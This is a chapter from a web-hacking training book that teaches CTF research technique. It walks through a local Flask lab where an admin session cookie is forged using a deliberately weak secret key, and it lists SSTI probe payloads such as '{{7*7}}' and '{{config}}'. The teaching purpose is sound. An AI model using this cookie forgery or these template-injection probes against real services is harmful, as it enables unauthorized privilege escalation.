Step 153. DreamHack Web (Running Total: 24) — Breaking Through with Research

Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★☆☆ | Estimated time: 3 hours

Prerequisites: Step 152 complete. 16 DreamHack web problems solved so far, and you’re keeping a guess-and-hit tracking sheet.

What you need: a DreamHack account, a search engine, your personal wiki, and Python 3 + Flask (for local reproduction).
⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
Legal practice-ground note: DreamHack is a legal learning platform that officially issues a per-problem attack target, and today’s session-cookie experiments run on a local lab on your own computer. You will not use today’s techniques anywhere outside these two places.

By this point, problems start running ahead of you. Words you’ve never seen appear in challenges — SSTI, XPath injection, session fixation, SSTI… techniques nobody taught you. No need to despair. A pro isn’t someone who knows every technique — a pro is someone who finds what they don’t know fast and applies it.

Today’s protagonist isn’t a payload but a search keyword. The instinct to search with "tech stack + attack verb" like "Flask session cookie forge," and the skill of pulling just the one section you need from a cheat sheet like HackTricks. This research ability is the tool that runs through the entire rest of this book. First, in a local lab, we’ll reproduce one example of a "technique a search would turn up" end to end — then it’s off to 8 live problems.

1. Learning Objectives

By the end of this chapter, you will be able to:

Identify the tech stack (Flask, PHP, etc.) in a challenge and use it as search-keyword material
Build search queries in the "technology name + vulnerability/attack" format
Find the relevant entry in HackTricks and carry it through to an experiment
Dissect the structure of a Flask session cookie and verify, hands-on, that forgery is possible when a weak key is exposed
Record the process (keyword → source → payload) of problems solved through research

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category	Details
Language/environment	DreamHack wargame + search engine + Python 3 + Flask (local lab)
Today’s commands	`base64.urlsafe_b64decode()`, `get_signing_serializer()`, writing search queries
Concepts needed	Tech-stack identification, signed cookies, the research loop, reading cheat sheets
Today’s artifact	24 problems cumulative + 3 research records + 3 new technique cards

2-1. The Standard Procedure When You Hit Something Unknown

When you meet a technique you’ve never seen, fix the procedure at four steps.

① Identify the tech stack — response headers in dev tools, cookie shapes, error messages, source traces
② Search — "technology name + vulnerability" / "technology name + attack" (search in English by default)
③ Read the cheat sheet — just the 'core structure' of the relevant entry in HackTricks (book.hacktricks.xyz) etc.
④ Experiment — apply what you read to the challenge server immediately; if it fails, go back to ② and revise the keyword

Step ②’s keyword is the skill. "Cookie hacking" finds nothing, but "flask session cookie forge" lands on the exact document. The ability to identify the stack (①) is half of search ability.

2-2. Signed Cookies — Readable, but Not Editable

Many frameworks’ session cookies share Step 150’s JWT philosophy — the contents are readable via Base64, and only forgery is blocked by a signature. Flask’s session cookie also has a payload.timestamp.signature structure, and anyone can decode the contents.

But this is where research intervenes. "What if the server’s secret key is exposed in the source code?" "What if the development default key ships to production?" — the answers to these questions live in the "flask session cookie forge" search results. Today you reproduce this yourself.

2-3. How to Read a Cheat Sheet

Cheat sheets like HackTricks and PayloadsAllTheThings aren’t books you read from the beginning. Open the one entry in the table of contents that matches your current problem, and pull just three paragraphs: ① the vulnerability’s conditions, ② the detection method, ③ the representative payload. You don’t need to understand everything — getting "the first payload to throw at the challenge server" is enough. Understanding follows after the experiment succeeds.

2-4. The Format of a Research Record

For problems solved through research, "what you searched, what you got, and how you applied it" is your asset.

■ Research record: (problem name)
- **Where I got stuck**: (unknown word/phenomenon)
- **Search keywords**: (what you actually typed, including failed keywords)
- **Source found**: (document title and its one-line core)
- **Payload applied**: (the one that worked)
- **One line for next time**: (a sentence to move onto your technique card)

Why record even failed keywords: because a search log of trial and error is itself skill. "That keyword had a lot of noise" speeds up the next search.

3. Follow Along

3-1. Local Lab — Dissecting a Flask Session Cookie

Instead of searching "flask session cookie forge," we’ll reproduce the technique that search would have turned up. Scenario: assume a server that shipped with the development secret key dev-secret still in place. flask_session_lab.py:

from flask import Flask, session

app = Flask(__name__)
app.secret_key = "dev-secret"  # Dev key shipped to production as-is — mistake scenario

@app.route("/")
def index():
    session["user"] = "guest"
    return "Session issued. Authorization check at /adminn"

@app.route("/admin")
def admin():
    if session.get("user") == "admin":
        return "flag{session_forged}n"
    return "403: admins onlyn", 403

if __name__ == "__main__":
    app.run(port=5495)

Start the server and visit http://127.0.0.1:5495/ in your browser — a session cookie is issued. Copy the session cookie value from the Application tab in dev tools.

3-2. Reading the Cookie Contents — Anyone Can

Decode the first chunk of the issued value with Base64.

import base64
value = "eyJ1c2VyIjoiZ3Vlc3QifQ.aqEINg.GU-0D01mP_3dsEDl54hcifaCpUI"  # your value
payload = value.split(".")[0]
payload += "=" * (-len(payload) % 4)
base64.urlsafe_b64decode(payload).decode()

Output (measured 2026-09-09):

{"user":"guest"}

How to read it: the same picture as with JWT — contents are public, and only the signature (the third chunk) protects them. You’d love to change guest to admin, but if the signature doesn’t match, the server discards it.

3-3. Tampering Without the Key vs. Forging With the Key

First, try accessing /admin with a cookie whose contents you edited without the key. Then reproduce "the case where the attacker learned the secret key" (source leak, default value, etc.) — baking a new cookie with the same signer as the server.

import urllib.request

def get(path, cookie):
    req = urllib.request.Request("http://127.0.0.1:5495" + path)
    req.add_header("Cookie", cookie)
    try:
        with urllib.request.urlopen(req) as r:
            return r.status, r.read().decode()
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()

# Without the key: change only the contents to admin, with a bogus signature
fake = base64.urlsafe_b64encode(b'{"user":"admin"}').rstrip(b"=").decode()
get("/admin", "session=" + fake + ".AAAA...bogussignature")

# If you know the key: bake a genuine forgery with the same signer
serializer = app.session_interface.get_signing_serializer(app)
forged = serializer.dumps({"user": "admin"})
get("/admin", "session=" + forged)

Output (measured 2026-09-09):

== /admin with a tampered cookie, no key ==
(403, '403: admins onlyn')
== /admin with a forged cookie ==
(200, 'flag{session_forged}n')

How to read it: the cookie edited without a key gets its entire session discarded for signature mismatch — 403. The cookie baked with the secret key is indistinguishable from a genuine one — 200 and the flag. This is exactly the structure the "flask session cookie forge" documents describe.

Why: two takeaways from this experiment. ① Defense: secret_key must be a long random value and must never be committed to a source repository. ② Attack instinct: for a problem whose server looks like Flask, "is the session-cookie key exposed somewhere?" is the starting point of research.

3-4. Identifying the Tech Stack in the Field

When you connect to a DreamHack challenge server, identify the stack first. Clues (Screen example — varies per problem):

Clue	Where to look	What it tells you
`Set-Cookie: session=eyJ...`	Response header	Flask/Python family (JWT-shaped session)
`Set-Cookie: PHPSESSID=...`	Response header	PHP
Framework name on an error page	Trigger an error on purpose	Exact framework and version
`werkzeug`, `nginx`, etc.	`Server` response header	Server software

Once the stack is visible, the search query writes itself. Example: Flask is visible and the session cookie looks like a JWT → "flask session cookie secret key leak" → arrive at the cheat sheet → 3-3’s reproduction is the attack procedure itself.

3-5. 8 Live Problems — Applying the Research Loop

Add 8 problems at difficulty 1–2, but today deliberately pick ones showing keywords you don’t know. The procedure:

① Recon + stack identification (use the clue table in 3-4)
② Spot an unknown word → turn it straight into an English search query ("SSTI flask" style)
③ Pull the three paragraphs 'conditions, detection, payload' from the HackTricks entry
④ Apply to the challenge server → on success, write the research record; on failure, revise the keyword and return to ②

Not succeeding with a single search is normal. On average you’ll refine the keyword two or three times — the two-stage search of "find a document with a broad word, then search again with the exact term inside the document" is fastest.

4. Missions & Exercises

Mission — 24 Cumulative and Turning Research into an Asset

In the local lab, reproduce the full arc: dissect the session cookie → fail at tampering without the key → succeed at forging with the key
Add 8 DreamHack web problems to reach 24 cumulative
For at least 3 of them, break through a "technique you never learned" via research, and leave a research record in the 2-4 format
Add 3 newly learned techniques to your technique cards (the list from Step 105)
Bookmark HackTricks and skim the table of contents of the web section once

Exercises

Exercise 1. In the 3-3 experiment, explain from the signature’s perspective why the cookie edited without a key was rejected while the cookie baked with the key passed.

Exercise 2. Analyze, in terms of keyword construction (technology name + target + attack verb), why the search "flask session cookie forge" beats "cookie hacking."

Exercise 3. Write down which question each of the three paragraphs you should first pull from a cheat sheet (conditions, detection, payload) answers.

Exercise 4. Why should a research record keep even the failed search keywords?

5. Model Answers & Completion Criteria

Mission Model Answer

Item 1 is exactly the 3-2 and 3-3 measurements. The comparison screen:

Cookie payload: {"user":"guest"}              ← anyone can read it
Tamper, no key: (403, '403: admins only')     ← discarded for signature mismatch
Forge with key: (200, 'flag{session_forged}') ← indistinguishable from genuine

Items 2–4 proceed on the platform. A research record in this shape passes (Screen example):

- Where I got stuck: putting {{7*7}} into an expression printed 49 — does the template execute input?
- Search keywords: "jinja2 template injection" → "SSTI flask cheat sheet"
- Source found: HackTricks SSTI entry — {{ }} expressions are evaluated on the server
- Payload applied: {{config}} to confirm config values → then secured the flag path

How to verify: ① profile solve count of 24 or more. ② Do the 3 research records have the "search keywords" field filled with actual search sentences? ③ Are the 3 technique cards written in the "conditions + first payload" format?

Exercise Answers

Answer 1. The cookie’s third chunk is a signature computed from "secret key + contents," so if you change the contents, it mismatches the signature the server recomputes. Without the key you can’t make a matching signature, so the tampered cookie was discarded (403); the cookie baked with the same key and signer matched the server’s recomputation and was treated as genuine (200). Exposure of the secret key is exposure of the power to forge.

Answer 2. Each of the three parts narrows the search scope. The technology name (flask) confines results to framework documents, the target (session cookie) points to the entry within them, and the attack verb (forge) pushes attack-technique documents — not defense documents — to the top. "Cookie hacking" lacks all three parts, so noise mixes in.

Answer 3. Conditions answer "does this technique apply to my problem" (checking the prerequisites), detection answers "how do I confirm it applies" (a test input), and payload answers "once confirmed, what do I throw" (executing the attack). With those three, you can close the document and move to the experiment.

Answer 4. Because search ability grows from data about "which keywords are noisy." If you keep only the successful keywords, the process of how you arrived at them disappears, and you’ll repeat the same trial and error on the next similar problem. Your list of failed keywords is your own search-strategy document.

Completion Criteria Checklist

[ ] I dissected a Flask session cookie’s three chunks and read the contents
[ ] I contrasted, hands-on, tampering without a key (failure) and forging with a key (success)
[ ] I can identify a tech stack from response headers and cookie shapes
[ ] I can build a "technology name + vulnerability/attack" search query
[ ] I pulled conditions, detection, and payload from HackTricks and carried them through to an experiment
[ ] I used the research-record format (keyword → source → payload)
[ ] Mission: 24 problems cumulative + 3 research records + 3 technique cards

6. Common Pitfalls & Fixes

Wall 1. Every search result is an English document and I can’t bring myself to read it

Cause: web-hacking material is overwhelmingly in English — an unavoidable gateway.
Fix: don’t read it whole. On a cheat sheet, skimming just the code blocks and bold headings gets you the payload. Use a translator for unknown words, but memorize technical terms in the original English — that pays off in your next search.

Wall 2. I edited the cookie and now I’m logged out

Symptom: change the cookie value even slightly and you’re not a guest anymore — you’re fully logged out.
Cause: the signature mismatch made the server discard the entire session — the same thing as the 403 in the 3-3 measurement. It’s not a bug; it’s evidence the signature is working.
Fix: this situation needs "forgery," not "tampering." Move your hypothesis toward finding a key-exposure clue (source code, default values, Git history).

Wall 3. I opened HackTricks and have no idea where to read

Cause: the table of contents is vast. That document is a dictionary, not a textbook.
Fix: use your browser’s in-page search (Ctrl+F) to find your current clue (e.g., session, SSTI, the framework name) and read only that section. What you need is one section.

Wall 4. I entered a payload from a learned technique and got no response

Cause: even techniques with the same name differ in detailed syntax per framework and version.
Fix: before fixing the payload, check the detection payload first. For SSTI, does {{7*7}} become 49? Test "does the engine execute input" with the smallest possible test first. If detection fails, the hypothesis itself is wrong — go back to the two-stage search.

Wall 5. I solved it through research but can’t explain why it worked

Cause: you copied the payload and skipped understanding the conditions.
Fix: if you can’t write the "why it works" line when filling out a technique card, go back to the document. A success you can’t explain is a lottery ticket; only an explainable success is skill. When stuck, reproducing the technique in a local Flask lab (like today’s 3-1~3-3) is the fastest route to understanding.

7. Summary

Today’s Concepts

Concept	One-line explanation
Research loop	Repeating: identify stack → search → cheat sheet → experiment
Search-query design	Technology name + target + attack verb ("flask session cookie forge")
Signed cookie	Contents public, only forgery blocked — key exposure is forgery-power exposure
Two-stage search	Arrive at a document with a broad word → re-search with the exact term inside
Detection payload	A minimal test like `{{7*7}}` that only checks whether the engine runs
Research record	Turning keyword → source → payload → one-line summary into an asset

Today’s Commands & Tools

Command/tool	What it does
`base64.urlsafe_b64decode()`	Decodes cookie/token payloads
`app.session_interface.get_signing_serializer(app)`	Flask session signer (for forgery reproduction)
Response headers `Set-Cookie` / `Server`	Tech-stack identification
HackTricks (book.hacktricks.xyz)	Technique cheat sheet — conditions, detection, payload
`"technology name + vulnerability"` search	Finding documents for unknown techniques

An Instinct More Important Than Commands

When you meet an unknown word, that word is the hint — the clue the challenge author is handing you, so drop it straight into the search bar. And remember: the difference between a pro and an amateur isn’t the amount of knowledge but the speed of reaching knowledge. Today’s research loop — identify, search, extract, experiment, record — is the skill you’ll keep using after this book ends, perhaps the longest-lasting one in this chapter. Add the habit of reproducing every new technique in a local lab yourself, and what you read stays in your hands.

Once every box is checked, Step 153 is complete.